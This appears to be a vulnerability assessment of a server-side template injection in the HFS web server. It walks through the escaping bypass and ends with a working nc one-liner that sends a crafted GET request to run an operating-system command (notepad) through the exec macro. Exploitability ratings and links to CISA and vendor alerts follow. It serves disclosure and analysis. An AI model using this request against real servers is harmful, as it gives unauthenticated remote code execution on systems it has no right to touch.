The server uses a default template when rendering the content for a HTTP response. This template when rendered will include the content of a request’s search
query parameter. It is this search
query parameter that lets us supply a value that will not be escaped correctly, and ultimately results in an SSTI vulnerability.
Under normal operation any user supplied content will be escaped, so any symbols, which are normally encoded as %symbol-name%
, and any macros, which are normally encoded as {:macro-name:}
will be escaped to prevent SSTI.
However we can force a percent symbol to become un-escaped. This allows us to embed any symbol in the content being processed. We can do this via the sequence %25x%25symbol-name%25
.
We can leverage this to force the %url%
symbol to become unescaped. When the %url%
symbol is processed by the server, it will echo back the remainder of the URL into the server side content. By forcing the remainder of the URL in the HTTP request to not be correctly URL-encoded, we can now include characters such as additional %
or }
characters.
To inject arbitrary macros, we first need to close the default template MARKER_QUOTE
sequence ({:
) by writing an unexpected MARKER_UNQUOTE
(:}
) sequence, however this will still be filtered. To bypass this filtering, we can leverage the %host%
symbol and an empty host header value. So :%host%}
will become :}
and this will not be escaped. After this happens we can perform an arbitrary template injection containing a sequence of any HFS symbols or macros we want.
Finally we can execute an arbitrary operating system command by using the exec
macro as shown below. As the search
query parameter is processed several times by the default template, we avoid executing our command several times by issuing a break
macro which will stop all processing.
$ echo -ne "GET /?search=%25x%25url%25:%host%}{.exec|notepad.}{.break.} HTTP/1.1\r\nHost:\r\n\r\n" | nc 192.168.86.35 80
I have rated the exploitability of this vulnerability as very high, as it is trivial to exploit by a remote unauthenticated attacker. I have rated the attacker value as low as this is not an enterprise web server.
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2024/06/03/cisa-adds-one-known-exploited-vulnerability-catalog)
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2024/05/30/cisa-adds-two-known-exploited-vulnerabilities-catalog)
- Vendor Advisory (https://support.checkpoint.com/results/sk/sk182336)
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2024/05/30/cisa-adds-two-known-exploited-vulnerabilities-catalog)
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2024/05/29/cisa-adds-one-known-exploited-vulnerability-catalog)
- Vendor Advisory (https://chromereleases.googleblog.com/2024/05/stable-channel-update-for-desktop_23.html)
- Government or Industry Alert (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Other: CISA Gov Alert (https://www.cisa.gov/news-events/alerts/2024/05/28/cisa-adds-one-known-exploited-vulnerability-catalog)